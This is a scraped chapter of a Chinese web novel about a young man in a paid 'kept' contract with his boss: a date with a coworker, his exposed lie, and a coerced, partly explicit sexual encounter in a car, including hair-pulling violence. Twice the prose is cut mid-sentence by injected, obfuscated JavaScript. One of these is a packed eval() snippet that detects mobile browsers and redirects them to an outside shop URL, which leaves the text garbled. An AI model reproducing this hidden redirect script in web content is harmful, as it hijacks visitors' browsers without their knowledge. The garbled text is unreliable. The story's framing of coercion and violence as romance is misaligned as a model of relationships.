元丰不懂衣服的牌子,看到一家偏淑女风格的专柜,带着小美过去了。在店员的推荐下,他拿着裙子往她身上比画:“还挺漂亮的,你去试试。” 碍于店员在附近,小美低声说:“丰哥,这裙子很贵的。我不试,说好了只是转转的,咱们走吧。” 元丰看着小美:“去试试。” 小美被看得脸红心跳,无奈答应了:“好嘛,那我就试穿一下下。” “嗯,快去。” 小美换上了奶黄色的复古连衣裙,她走出试衣间,害羞地问道:“丰哥,好看吗?” 元丰多看了两眼,笑着夸道:“特别好看。”他拿着店员推荐的另外一款裙子,“小美,这条也试试看。” 爱美之心人皆有之,小美被夸得脸都红了,只想把自己最美的一面展现给喜欢的人看。她听话地拿着那条裙子,去了试衣间。 元丰估计那条肯定也合身,趁小美试穿的间隙,把两条连衣裙买了下来,花了小一万。 刷卡的时候,他还有些肉疼,但小美是这么多年里,第一个认真替他着想的好姑娘,如果他真的辞职,以后都见不到她了。 “丰哥,你快把裙子给我!” “不给。” “这么贵,你让我拿去退了好不好?干吗浪费钱啊,你不心疼我都心疼!” “好了好了,再磨叽电影都要开始了。” “哎呀你快给我!!” “嘿,你再抢,我可不陪你看电影了。” “不看就不看!快把裙子退掉。” “别闹了,走吧。” “操,又他妈堵车。”费凡降下车窗,点了根烟。他看向车窗外,热闹的街边上有一对正在拉拉扯扯的小情侣,看着很恩爱。 无聊地看了一会儿,他伸手推了推副驾的人,“我怎么瞧着那男的有些眼熟呢?好像在哪儿见过。” 乔安顺着费凡指的方向看去,一眼就认出了元丰,他提醒道:“打着石膏呢,没印象了?你撞过他。” “靠,原来是他啊。”费凡弹了弹烟灰,“贺总这回腻得这么快?” “据我所知,还没腻。”乔安说。 电影是一部搞笑喜剧片,元丰买了爆米花和奶茶。这是他第一次正儿八经地跟姑娘“约会”,心情有点激动,连白天那些不愉快都给忘了。 可惜这短暂的好心情没持续多久,电影开场十分钟后,兜里的手机突然响了。 他赶紧掏出来调成静音,是贺总打来的。 元丰没接电话,继续看着电影。过了几分钟,他跟小美说要去趟洗手间,找了个安静的角落,回拨过去。 “贺总,我刚去厕所了,没接到你电话。” “嗯,还没结束?” “对。”元丰解释道,“今天部门里调来一个新员工,我白天忙着带他,手头很多活儿还没做完。” “要多久?” “呃……”元丰在心里估算了下电影的时长,回道,“可能还得一个多小时,贺总你先睡吧,别等我啊。” 电话那头安静了几秒之后,传来男人低低的笑声。他心里瞬间涌起不好的预感,难道陈硕跟踪自己了?不可能啊…… “挺好,还学会撒谎了。” “……” 贺总知道他在撒谎,意味着可能也知道自己跟小美在一块儿了。 妈的,这变态肯定在哪里安了监控。元丰快速思考着应对方法,就这么丢下小美实在说不过去,必须想个合理的借口。 “自己说吧。”听筒里的声音淡淡的,听不出任何情绪。 “贺总,真是对不起啊,我不是故意要撒谎的。”元丰态度端正地道了个歉。 “嗯,继续。” 元丰想不明白贺总怎么知道的,唯一的可能就是碰巧遇上了。 他笑着试探道:“贺总,今晚部门有聚餐,前台的小姑娘也跟着一块儿来了,我怕你误会才没说。你说你都看见我了,怎么不跟我打招呼啊,真是……” “是么?” “是啊。”元丰继续道,“我现在在电影院里,他们有的先回去了,我能看完再回家吗?” “我再给你最后一次机会,想好了再说。” 电话那头的语调不急不缓,元丰没来由地感到心烦。白天因为工作的事儿就够烦了,好不容易喘口气放松放松,还得跟贺总周旋。他无奈道:“贺总,我就是想好了才说的,犯得着骗你吗?” “想好了?” “对啊。” 元丰觉得自己跟小美之间清清白白,没什么需要解释的。 反正都出来看电影了,贺总要是真的生气,左右不过挨一顿操,又不是没□□过。 “金陵轩,打车过来。” 元丰知道金陵轩,是上回贺总请他吃饭的那家高档中餐厅,可他不想去:“贺总,我还是第一次来电影院,能不能看完再去啊?” “哪儿那么多借口?” “那我再看半小时,行不?” “现在。到了给陈硕打电话,让他领你进来。” 元丰还想再说两句,电话直接被挂断了。他回到放映厅,继续看起了电影。 “丰哥,你吃呀。”小美把爆米花递给他,“奶茶都不冰了,快喝。” “好。” 黑暗的空间里,笑声一片。元丰却笑不出来,他心不在焉地看着大银幕,考虑着接下来的打算。 另一头,费凡凑近乔安,低声问道:“我要没记错的话,这是第二顶了?” “活腻了?”乔安看了眼边上正在喝茶的男人,“你就多余说出来,我他妈还有正经事儿跟他谈。” “你不早说,我哪儿知道。”费凡八卦道,“谈什么正经事儿?” “谈合作,说了你也不懂。”乔安低骂道,“成天就知道吃喝玩乐,瞎捣乱。” “……”费凡其实挺纳闷的,操男人能有什么意思?不听话的小情儿,换掉不就得了吗? 电影散场后,元丰掏出手机,只有一通陈硕打来的电话。他给对方回短信,说自己马上赶去金陵轩。 “丰哥,今天很开心,谢谢你哦。” 元丰收起手机:“客气啥?开心就行。” “特别开心。”小美笑眯眯的。 俩人并排前行,等出了电影院,元丰把手中的精致纸袋递给小美:“拿着,我去给你叫个车。” 小美接过纸袋子打开看了下,问道:“丰哥,小票呢?” “我撕了。”元丰笑着说,“你穿着好看,收下吧。” “这太贵重了……”小美一脸为难,“我真的不能收,小票快给我。” “真的撕了。”元丰停下脚步,跟小美认真地说了声谢谢,“其实我今天也很高兴,电影院还挺有意思的。” 小美想了一会儿,鼓起勇气说:“有意思咱们以后常来,怎么样?” “对不起,小美。”元丰继续往前走,他走得很慢,酝酿了下情绪后说,“别在我身上浪费时间了,我还是忘不了前女友。裙子是回礼,谢谢你上回给我买的衣服和裤子。” 小美听完,沉默了很久。 元丰心里颇不是滋味儿,急忙安慰道:“别难过啊……是我配不上你,你会遇到更好的。” “怎么会配不上啊……”小美有些委屈,“是我不够好不够优秀,所以你才不喜欢我……” “不是啊,真的不是!”元丰都不知道该怎么说了,“小美,你真的很好,性格好长得也好,将来肯定能遇上一个高大帅气又适合你的。” 小美扑哧一乐:“好啦!丰哥你别再夸了,我都飘了。” “对不起啊……小美。” “干嘛道歉,真是的……”小美将手中的纸袋子放在脚边,笑着问,“丰哥,我能抱一下你吗?就当是做了一秒钟的情侣。” 元丰愣了一下,点点头。 小美张开双臂主动抱了一下元丰,很快就放开了,“谢谢你啊丰哥,裙子我收下了。让你破费,真的很不好意思。” “不破费。” 把小美送上出租车后,元丰心里空落落的,又因为不得已的苦衷,拒绝了一个喜欢他的姑娘,他在心里叹了口气。 唉,想有个家,怎么会这么难呢…… 陈硕看着走在路边上的年轻男人,主动请示道:“贺总,需要叫元先生上车吗?” “叫吧。”贺颜吩咐道,“你打车回去。” “好的。” 元丰连金陵轩都不想去了,他现在什么都不想面对,只想回家痛快地睡一觉。 “元先生!” 元丰闻声回头,见陈硕快步走了上来,“陈助理,你怎么在这儿?” “路过,正好看到你了。”陈硕指了指后方的黑色汽车,“贺总在车里等你。” 元丰现在看到陈硕,就觉得他是一台行走的监视器,怎么可能这么巧就刚好路过? 陈助理,枉我这么尽心尽力地讨好你,给你带包子带茶,你就这么回报我? “快过去吧,别让贺总久等。”陈硕好心提醒道,“元先生,贺总很忌讳这个。请尽量不要惹他生气,最好顺着他。” “……”元丰没听明白,他问,“忌讳啥?” “你刚才做的事。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一定是空调温度太低了,元丰突然觉得有点冷,连带着贺总的低笑声听上去都有些瘆得慌。 他立刻老实地认错道歉:“实在不好意思啊,贺总。我真不是故意想骗你的,那姑娘是我公司——啊!” 贺颜攥住元丰的头发,将他扯到跟前:“我看着挺好骗的?” “疼疼疼疼!”元丰头皮被猛地一扯,疼得直嚷嚷,“不好骗!不好骗!疼!” “我有没有给过你机会?” “给过!我错了!我再也不骗人了!我解释啊我可以解释的!” 贺颜松了手,没说话。 元丰赶紧揉了揉被扯痛的后脑勺,心里疯狂臭骂贺总。 妈的,这变态程度是不是又加深了?上一秒还在笑,下一秒就发疯。 “那姑娘是公司前台,今天出来是为了还她个人情。”他边解释边往贺总那儿挪,“贺总,咱们在咖啡厅那次你还记得不?我那身新衣服就是她给我买的。直接给钱不太合适,这才出来买了两条裙子还给她。我跟她之间真的清清白白,连手都没牵过。” “进展够快的。”贺颜摸上元丰的脑袋,笑问,“下一步直接生孩子?” 元丰害怕贺总又发疯揪他头发,立即靠在贺总肩上,讨好道:“生啥孩子啊,医生说我不孕不育。她确实有那个意思,但我有贺总你了啊,肯定不能答应她,所以明确拒绝了。” 元丰的可信度已经从0%降到-30%,贺颜伸手揽住他:“是么?” “必须是啊!”元丰觉得这项伟大的安抚工程差不多快完成了,继续说,“然后她让我陪她看一场电影,说看完就死心了,我是想过去找你啊,可我又怕她不死心。” 贺颜听着没打断。 “唉,结果还真的不死心,非说抱一下才能彻底死心。我这不是没办法吗?她这回真的死心了!这就是全过程,绝不掺假!” 元丰心说:小美,哥对不起你!不该拿你做挡箭牌,实在没辙了。 “你掺的还少?”贺颜掐上元丰的腰,“想好了再回答。” “……”元丰一口老血差点喷出来,真他妈难伺候。他实在不知道该怎么让贺总相信了,想来想去除了讨好还是讨好。 贺颜就猜到这小子嘴里恐怕没一句实话:“你这嘴,又欠教育了?” 幸亏车里空间大,元丰起身一屁股坐到贺总大腿上,迅速在他脸上亲了一口。 安静的车厢内,只听见“啵”地一声。 贺颜愣了一瞬,似乎没料到元丰会这般讨好他。 “贺总,我说的都是真的!”元丰掏出裤兜里的手机,打开了和小美的聊天窗口。 他大拇指按着屏幕来回滑动:“不信你看聊天记录,我跟她真的特别清白啊,今天出来就只是想还她人情。” 贺颜大概扫了两眼,抽走元丰的手机甩到一旁。他把人搂住,低声问:“合同上怎么说的?” 元丰早忘了合同上写的内容,认真地想了想,挑了最能讨好贺总的一条。 “不能跟别人谈恋爱,只能跟你上/床。” 贺颜很满意:“下回还这样么?” 元丰直摇头:“贺总你放心,没有下回!” “今天错哪儿了?”贺颜又问。 只要能让贺总高兴,嘴上吃亏算个屁!元丰立刻说:“我哪儿都错了,以后坚决不撒谎!” “挺好。”贺颜拍了拍元丰屁股,“下去。” 元丰激动得不行,终于把毛驴给顺好了!紧接着他就听到了细微的动静,好像是拉链的声音。 他侧头一看,贺总好像在掏……在掏什么见不得人的凶器。 “过来。” “……” 元丰看了眼车窗外,外头依旧人来车往,即便别人看不见车内的情况,这也不妥啊,跟当众乱那啥似的。 他赔笑道:“贺总,等回家行不?你看这外头都是人,不合适啊……” “别浪费我时间。”贺颜把元丰拽到腿上。 “回家再说啊!”元丰打起商量,“贺总,回家好不?我给你来条巨大的青龙,怎么样?听着就很霸气,是不是?” 贺颜皱眉道:“什么乱七八糟的,想挨操?” “别啊……” “自己掂量。” “……” 夏夜的街道上人潮涌动,伴随着来往车辆的鸣笛声。元丰看向窗外,内心是绝望的,当街yin乱这事儿,简直伤风败俗! 可要是不哄好贺总,怕是回不去了。经过短暂而激烈的思想挣扎,他豁出去了。 近距离接触时,贺总身上有一股淡淡的木香,很好闻。 元丰蓦地察觉到一丝不对劲,于是抬头问:“贺总,你是洗过澡了吗?” 贺颜淡淡应了声,“别磨叽。” 不久之前,元丰同样在陈硕身上闻到一股清香。结合现在的情况,他瞬间脑补出一个画面:贺总跟他的助理在办公室里大战了几百个回合,俩人一块儿洗完澡才下的班。 他立刻别开脑袋,又问:“贺总,你跟陈助理是不是有一腿啊?” 这怎么还越说越离谱了,贺颜皱起眉头:“哪儿那么多废话?” “我就随便问问啊……”元丰刚说完,头发又被揪住了,“哎哟……疼疼疼……咝……” “还说废话么?” “不说了!” …… 车外响起的鸣笛声猛地唤回了元丰的清醒,都快忘了自己在哪儿。 此时,窗外路过两道结伴而行的身影,有女孩子的说笑声。他被刺激得一刻都待不下去了,用力挣开后背上的那只手。 “又不听话了?” “……” 带着怒气的声音让元丰心里一慌,他赶紧坐到贺总大腿上,脑子里快速想着能起到安抚作用的说辞。 “我没不听话啊,就是,就是我想那啥了!”他主动摸上贺总结实的胸肌,垂着脑袋故作羞涩,“贺总,咱们现在回家,行吗?” 贺颜没料到元丰为了回家,连这招都能想出来。 …… 密闭的车厢内,汗水与呼吸交融,是散不去的雄性味道,混杂着淡淡的血腥味。 锦西湾地下车库。 贺颜停好车,回头看了眼躺着不动的元丰:“起来,下车。” 元丰不想说话,试着动了动腿,浑身疼,“你妈的,你……” 贺颜下车打开后座车门,四处看了一圈,才探进去打开车顶灯。他掐住元丰的下巴:“再说一个脏字儿,接着来。” 元丰怒瞪着贺总。 “行了,别闹脾气。”贺颜松开手,摸了摸元丰汗湿的脑门儿,笑着夸了句,“挺不错。” “……”元丰怕被折腾,把到嘴的脏话给憋了回去。他不爽地打开贺总的手:“让开,我要起来。” …… 元丰一边瞪着车外的贺总,一边费劲穿裤子。他越想越恼火,开始琢磨怎么才能解除包养合同。 再这么下去,迟早被折腾死。 贺颜听到开门声,小情儿毕竟是头一回,他主动将人抱起来。 元丰刚要下车,腰间突然多了一双手,把他从车里给抱了下来。 “能不能走?” 元丰试着走了两步,的确很疼,但却是可以忍受的。想他十一岁就进入社会打拼,什么苦没吃过? 可这心里头实在不痛快,他瘸着走了两步:“好疼啊,疼得不能走路了,怎么办啊?要不你给我找个轮椅来吧。” 贺颜笑了:“我看得用担架抬,打120吧。” “……”元丰真想找个趁手的东西给贺总狠狠来两下子,不过眼下不是计较的时候。 他哎哟叫了声,顺势卖起惨:“我可没跟你开玩笑啊,你看我都瘸了。” 贺颜一看那走姿就知道这小子在装瘸,他跟了上去:“怎么,需要我抱你回去?” 元丰可不需要抱,只想远离变态。 他想了想,说:“贺总,我这都大出血了,得跟你请一星期的假,可以不?” “可以。”贺颜心情不错,将元丰揽进怀里。 元丰怕贺总说话不算话,补充道:“等回家,咱们立个字据啊。” “不用立了。”贺颜说,“一星期的假可以给,正好练练别的。” “……”元丰内心只有一个想法,必须尽快解除合同。 8. 第 8 章 每走一步,身体就跟着了火似的。元丰走得十分艰难,痛意越强烈,大脑就越清醒,脑子里想着怎么才能跟贺总解除包养关系。 贺颜看在眼里,难得耐心地哄了两句:“明儿请个假在家好好歇着,有没有什么喜欢的?” 元丰实在没心情谈这个,不过贺总看上去好像心情不错。 他试探道:“有啊,就是不知道贺总能不能给。” “说来听听。”贺颜按下电梯上行按钮。 “说了你也不给,没意思。”元丰闷声道,“我不说了。” 贺颜一笑:“行,别说了。” “……”元丰憋不住了,“我啥都不要,给我嘴也放一个星期的假就行。” “两天。”贺颜说,“不能再多了。” 元丰趁势说道:“贺总,再加一天行不?” “我看一天也不错。”贺颜拥着元丰走进电梯,“少跟我讨价还价。” “两天就两天!” 到了家门口,元丰问:“贺总,你睡哪儿啊?” 贺颜把人放开,说:“进去吧,我还有事儿。” “哦……” “早点睡。”贺颜说完,关上门离开了。 元丰不关心贺总上哪儿,头也没回就进了卧室,倒在床上什么都不想干,累得连澡都不想洗了,疼痛的身体提醒着他不久前才发生过的事儿。 “变态……”他突然睁开眼睛,强忍不适去了卫生间,清理了快二十分钟,这酷刑才算结束。 回到床上,元丰很快进入梦乡。 经过一晚上,依旧疼痛难忍。他坐起身,感觉头也有些发晕,鼻子还堵了一边,这个状态不请假都不行了。 元丰穿上睡衣,拖着疲惫的身体去了客厅。 “先生,你起来了。”保姆刘秀珍刚要问元丰想吃什么,就被元丰那苍白的脸色吓一跳,“先生,是不是身体不舒服啊?” 元丰确实没什么劲儿,他吸了吸鼻子:“可能昨晚在车里着凉了。刘姨,有感冒药不?” “有有有!”刘秀珍不太放心,“要不还是上医院瞧瞧再说?这药可不能乱吃呀!是不是头晕,鼻子堵了?” “没事儿,我喝个感冒冲剂就行。”元丰走到餐桌那儿坐下,“刘姨,有白粥不?” “有!我去给你盛,等着啊。” “谢谢啊。” 刘秀珍盛了一碗有些稀的白粥端到餐桌上,又去药箱里找了感冒冲剂。 她说:“等吃完了歇半小时,我再给你冲。” 元丰扯出一个微笑:“谢谢刘姨……” 刘秀珍看着正在喝粥的小伙子,想起了自己那个在读大学的儿子。这么好一孩子,怎么偏偏就想不开了呢? 元丰在雄威干了三年,还是头一回请假。黄总经理在电话里嘘寒问暖地关心了好一番,叮嘱他养好身体再去上班。 他烦躁地挂断电话,养好身体再去有个屁用,经理位置都让方远那个傻逼给占了。 元丰有想过要不干脆就去分公司试试,换别的工作一样要从头再来。可一想到遭遇的这些事儿,心里头着实有些意难平。 刘秀珍把冲好的感冒冲剂端到茶几上:“先生,药凉过了。” 想完工作想贺总,元丰想着该怎么摆脱现状。看着碗里的药,他抬头冲刘姨说了声谢谢。 “哎哟,别这么客气。”刘秀珍站在边上,笑着提醒,“要是怕苦,捏着鼻子给它一口气喝了。” 元丰端碗的手顿了一下,笑着说:“没事儿,我能吃苦。” 刘秀珍越看越可惜,等那药被喝完后,忍不住多嘴问了句:“先生今年多大岁数啊?” 药确实很苦,元丰是一口气喝下去的。他擦了擦嘴角,说:“刘姨,我二十二了。” “二十二啊……”刘秀珍说,“先生跟我儿子同岁。” “他应该在读大学吧?”元丰问。 “是啊。”刘秀珍说起儿子,满脸笑意,“这不快要开学了吗,大四了。” “哦哦,还挺好的。” “也不是什么重点大学,毕业了还得愁他工作呢。”刘秀珍拿起碗,“先生,我先去洗碗。” 元丰看着刘姨去厨房的身影,突然来了想法。 他费劲地走向厨房,想了好一会儿,才问:“刘姨,我想问问你,就……你有没有照顾过别的啊?” 刘秀珍听明白了,她伺候过好几任,也就眼前这孩子瞧着不错,能多说几句话。 她擦了擦手上的水,转过身委婉道:“孩子,阿姨瞧着你最实在,别的没法多说,但是跟着贺老板长久不了。” 元丰一听这话,顿时看到了希望。他知道贺总肯定叮嘱过刘姨,于是避重就轻地问道:“刘姨,都多长时间结束啊?我能接受的,就是想提前有个心理准备。” 刘秀珍不能多嘴说老板的事儿,只能含糊地回道:“我这上了岁数,记不大清楚了,可能半年都到不了。” 半年对元丰来说太长了,他知道刘姨不会再多说,也就没继续问下去。 陈硕带着药品和书,十点准时到达锦西湾。接到贺总通知时,他就猜到元丰昨晚可能受了不少罪。他拨通对方电话,说自己已经在门口。 元丰挂断电话,步伐缓慢地去客厅开了门,经过昨晚的提醒,他不确定陈硕是不是来监视自己的。 “陈助理,你直接敲门就行了。不对啊,你不是知道密码吗?下回别这么客气啊。” “好的,元先生。”陈硕把药品和书递给元丰,说,“这药膏非常有效,请及时使用。还有这三本书,是贺总让我给你的。” “谢谢啊。”元丰想到贺总就一肚子气,他先接过那三本书,看都没看就塞进了鞋柜里。 “……”陈硕从包里拿出支票,“这是五万元支票,贺总交代的。” 又是一笔巨款,元丰说不上是什么滋味儿。他拿走支票,无力地说道:“你自己随便坐啊,我先回房了。” 陈硕刚才就注意到元丰苍白的面色,他看着那别扭的走姿,开口说道:“元先生,需要我送你去医院吗?” 元丰疼得走路都费劲,哪儿也不想去。不过陈硕还算有良心,看来没白讨好。他转过身,决定从陈硕这里下手试试看。 “陈助理,我能问你一个问题不?” 陈硕迟疑了片刻后说:“元先生,很抱歉。关于贺总的私事,我不能回答。” “不是问这个。”元丰面露难色,低声问,“就是想问,你觉得我跟贺总能长久吗?” 陈硕没料到竟然是这个问题,他斟酌了片刻,回道:“这个问题我没办法回答你。” 妈的,就知道是这句话。元丰懒得再废话,刚要走人,陈硕又补了一句。 “如果你希望长久的话,不要过界。” 他有些懵逼,赶紧追问:“过啥界?” 陈硕知道不该再继续说下去了,但还是善意地提醒道:“鱼与熊掌不可兼得。元先生,我该走了,如果有需要,请给我打电话。” 虽然只上到二年级,但“鱼与熊掌不可兼得”这句话的意思,元丰是知道的。 他站在原地愣了好半晌,终于想到了可以解除合同的办法。 贺颜正在开会,会议内容是公司即将投资开发的新项目,一处占地面积较广的大型豪华别墅区。西裤兜里的手机振了两下,他没有理会。直到会议接近尾声,手机又振了好几下。 他摸出手机打开,有六条短信。 “贺总,我好像生病了,头疼。” “你回来陪陪我,行不?” “一见不着你,就难受。” “我好像得了相思病,一个人在家太寂寞了。” “你晚上过来不?” “回来陪我一起吃饭,好不好?” 贺颜没回消息,收起了手机。他估摸着元丰又想搞什么幺蛾子,忒欠。 元丰为了发骚扰短信,绞尽脑汁想了不少恶心的话,最终还是没发出去,因为太恶心了。 折腾这么久,搞了半天,原来过界就可以解除合同。他先发六条探探底,要是贺总没有想法,再发那些恶心的也不迟。 又半个小时过去了,元丰只收到小美发来的关心。贺总可能还没忙完,他本打算等中午再发,可转念一想,缠人就该挑贺总最忙的时候,缠到对方烦了自己为止。 于是立刻打开备忘录,从搜集来的甜言蜜语里挑了一条比较含蓄的发送出去。 邵彤将咖啡小心地放在办公桌上,恭敬地说道:“贺总,您十点半有个访谈。” “哪家的?” “是中业地产网的高端访谈栏目。”邵彤说完又提醒,“是您在7月26号接下来的,已经跟对方沟通过,此次访谈不会露面。” 贺颜淡淡地应道:“行,我知道了。” 邵彤:“好的。” 贺颜端起咖啡抿了一口,桌上的手机振了一下。他拿起来打开,熟悉的陌生号码发来一条短信。 “云雾深处醉卧眠,满天繁星伴君飞。” 十秒钟后,又来一条新的短信。 “贺总,你怎么不理我啊?晚上回来吗?” 他盯着短信内容看了片刻,拨通了发来短信的号码。 居然等到了贺总的电话,元丰迫不及待地想挨骂了。他酝酿着情绪,故意等了十多秒才接通:“贺总,你终于肯搭理我了……” “抽什么风?” 电话那头的语气听着有些冷,元丰乐坏了,咳了一声:“没抽风啊,就是想……我想……” “想挨操?” “……” 元丰想倾诉一下“相思之苦”,可话到嘴边,那是死活说不出口。 “少发些乱七八糟的。我让陈硕带去的书,看了吗?” “还没。” “嗯,挂了。” “别啊!”元丰迅速做了个深呼吸,语气中带着讨好,“贺总,我生病了,昨晚在车里吹空调吹的,鼻子还堵了……” “让陈硕送你去医院。”贺颜往椅背上一靠,笑道,“跟我说,鼻子就通了?” “通不了,我就是……你回来陪陪我呗?行不行啊?” 要换作以前,贺颜听到小情儿撒娇让陪,合同多半就终止了。赶上心情好,勉强能容忍个一两回。 他看了眼时间,简短道:“行,假取消了。晚上该怎么做,明白么?” 元丰深刻明白,在结束前少不了得再挨几炮。他为难道:“可是贺总,我都受伤了,你还让我怎么做啊?” “今晚换个地儿,抽屉里的东西自己学着用。” “……”元丰的脸瞬间黑了,看来不放大招,根本没法劝退贺总。 “挂了,回去再说。” “别啊,贺总!”元丰一改方才的态度,语气不满道,“我一个人在家太无聊了,你就不能多陪我聊会儿吗?” “哪儿那么多废话?无聊自己看看书。” “我不想看书——” 元丰还没说完,电话就被挂了。他气得打开备忘录,直接复制粘贴,给贺总连发了好几条恶心肉麻的短信。 贺颜才挂电话没多久,手机就振了好几下。在看到短信内容时,他对元丰这小子是彻底服气了。 “你知道我在等你吗?如果你真的在乎我。” “我只想跟你在一起,不论春夏秋冬。” “如果你是带刺的仙人掌,我愿承受所有的痛去拥抱你。” “有你的人生,不再孤单。” 陈硕回到公寓,一个人安静地坐在客厅里看着《甄嬛传》。 不用擦屁股的时候,他喜欢宅在家里看电视。当贺总的专属铃声响起时,他突然有种不好的预感。 “贺总。” “他怎么样?” 陈硕如实答道:“脸色苍白,应该是生病了。我问他是否需要去医院,他拒绝了。” “该给的东西都给了?” “给了。” “这小子今天不太对劲,除了生病,还有别的事儿吗?” 陈硕猜测可能元丰做了什么,他不敢有所隐瞒,将元丰问的问题复述给贺总听。关于多嘴的那句提醒,他犹豫了几秒,没说出来。 “他真这么问了?” “是的,贺总。”陈硕顿了顿,“元先生当时的脸色很不好。” “你过去一趟,送他去医院看看。” “好的,我知道了。” 元丰瘫在沙发上,看着随手挑的一部国产喜剧电影,电影挺搞笑的,可他一点都看不进去。 脑子里不是想着工作要怎么办,就是想着贺总那儿要怎么解决,他有一搭没一搭地看着电视,看了个寂寞。 开门声响起时,他以为是贺总回来陪他了,结果是去而复返的陈硕。 “元先生,我送你去医院。” “小感冒,用不着。”元丰指了指沙发,“坐啊,陈助理。” 陈硕站着没动,他说:“贺总交代我送你去医院,小感冒也该看看医生。” 元丰惊讶道:“贺总让的?他为啥让你送我上医院啊?” 怎么着也该让你带着合同过来宣布结束啊…… “是的,请起来吧。” “……” 元丰忍着不适,跟陈硕去了医院。一是不想再请假,看看感冒也好。二是胳膊好得差不多了,不如提前两天把石膏拆掉。 当然最重要的是,他觉得自己得继续套近乎,通过陈硕来摸清贺总的喜好,对症下药。 “陈助理,贺总叫什么名字啊?合同上没看清楚。你要觉得不方便回答,那就算了。”元丰随口问道。 “贺总单名一个颜字,颜色的颜。”陈硕见元丰走得有些慢,主动问,“元先生,需要我扶你吗?” “不……啊,那可真是太谢谢你了。”元丰在陈硕的搀扶下套起了近乎,感激地又说了声谢谢,“多亏你昨晚的提醒,我跟贺总及时认错了。可是他还是挺生气的,在车里就……要不我能感冒吗?走路都不利索……哎哟……” “不用谢。” 元丰试探道:“陈助理,我怎么才能不惹贺总生气啊?我还挺想跟他在一块儿的,不想老跟他吵架。” 如果贺总跟情人之间很和谐,陈硕也能少擦点屁股。而且元丰问的在可答范围之内,他回道:“如果不想再跟贺总闹矛盾,只要做到听话就可以。” 元丰哦了一声,又问:“也就是说不能得寸进尺,不能过界,也不能蹬鼻子上脸是不?” “是的。” “那贺总还讨厌啥?” 陈硕回忆了自己擦过的那些屁股,说:“这个我并不太了解,但贺总讨厌哭哭啼啼的。” “哭哭啼啼?”元丰想了想,胡诌道,“我这人泪腺特发达,没事儿就爱哭。你能不能跟我细说说,我好及时调整。” 陈硕一时间没说话,其实没什么可细说的,只不过是个不懂分寸的,因为太过投入感情,哭到贺总公司里去了。 “上车吧,元先生。”他打开后车门,扶着元丰坐了进去。 元丰等不到回话,索性放弃。 他已经想好了,等晚上贺总过来,先得寸进尺再蹬鼻子上脸,完了整几句肉麻的情话过过界,最后再狮子大开口,要个百八十万的cao批费。 整个下午,贺颜的手机断断续续振了不少回,全是元丰发来的骚扰短信。 什么去了呼吸内科,有些低烧,医生说只是受凉了吃点药就行。跟着又去了骨科,说自己胳膊好了,石膏也拆了。以及一些感谢贺总关心之类的废话,每条短信后面还不忘加上“我想你”三个字。 他觉得元丰的不对劲多半是生病给闹的,烧坏了脑子。自己没必要跟个小屁孩儿计较,姑且容忍个一两天再说。 元丰跟陈硕道完谢,独自进了电梯。他转过身笑着说:“真是麻烦你了啊,陈助理。” “不麻烦,元先生请好好休息。” “行,你慢点儿啊。” 陈硕冲电梯里的人点点头,离开了。 元丰现在对陈硕的印象很好,已经不把对方当机器人看待了。出了电梯,他掏出手机看了看,没有收到贺总的回信,连电话也没有。 回到家,他先去卫生间洗了个澡,要是能光明正大地挂个妇科瞧瞧就好了。 洗完澡,元丰用了陈硕送来的药膏,上药的过程中,疼痛化为强大的动力,使他绞尽脑汁地思考着晚上的具体流程。 贺总电话里的口吻明显不是开玩笑,今晚这一炮躲掉的概率很小。他琢磨着要不要提前给自己做好润准备,省得再受罪。 回锦西湾的路上,贺颜的手机响了。他以为是元丰打来的,在看到来电显示时,皱了下眉头。 “说。” “干嘛呢?” “有正事儿么?” “真够无情的。”电话那头一笑,“我在金陵轩,你也一块儿过来。就我跟小董俩人,正好他想当面谢谢你。” 贺颜拒绝道:“用不着,举手之劳。” “访谈耽误了你俩小时,他心里头挺过意不去。”男声催促,“赶紧的,给我个面子。” 贺颜还真不太想给这个面子:“我是因为谁才接了这个访谈的?” “所以这不是要请你吃饭嘛,我现在过去接你?” “不用,你俩吃吧。” “那怎么行?你必须过来。”那头声音变低,似乎换了个地方,“最后一回,我欠他个人情。” “你的人情,我给你还?” “咱俩这关系,帮忙还个人情还不是一句话的事儿?真的最后一回。” “挂了。” “得嘞。” 贺颜挂掉电话,让正在开车的助理改道去了金陵轩。 吃过晚饭后,元丰又给贺总发了几条骚扰短信,依旧没有回信。他看着墙上的挂钟,已经快七点了。贺总既然答应过来,最迟不会超过八点。 他想好具体流程了,等人一进屋,先冲上去抱着撒个娇,再说几句肉麻的情话。要是贺总心情好,就开口要钱,先要个二十万试试。如果贺总同意给,那就再要……再要一辆车好像也不错。 算了,干脆直接要一套房子,这么狠的要求,贺总肯定受不了。他越想越美,高兴地拿出了抽屉里的三件套。 汽车停稳后,陈硕立即下车准备给贺总开门,旁边突然走过来一个男人。 “哟,这不是陈助理么?” 陈硕低垂着脑袋,恭敬道:“李总好。” “我不是你老板,犯不着这么客气。”李格说完,打开后座车门,冲里面的男人笑着说,“速度挺快,没让我久等。” 贺颜瞥了眼嬉皮笑脸的表弟,面无表情地下了车。 “进去可别摆臭脸。”李格揽住他哥的肩膀用力拍了拍,随后看向一旁的男人,“陈助理也一块儿过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658612|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来吧。” 陈硕婉拒道:“谢谢李总的邀请,我——” “过来吧。”贺颜说。 陈硕不得不跟上:“好的,贺总。” 中业地产网是个没什么名气的小网站,公司成立还不到一年,老板叫董默,是李格的高中同学。 这顿应酬,贺颜纯粹是给表弟一个面子,他无视董默看他的眼神,客套地寒暄了几句。 “来来来,都坐下。”李格安排好他哥的位置,又安排陈硕,“陈助理,你跟我一块儿坐。” 陈硕只想马上走人,奈何老板亲自发过话。 他低头说道:“好的,谢谢李总。” “一口一个李总。”李格调侃他,“我是不是也该给你发一份工资?” 陈硕立刻低头道歉:“非常抱歉,李总。” 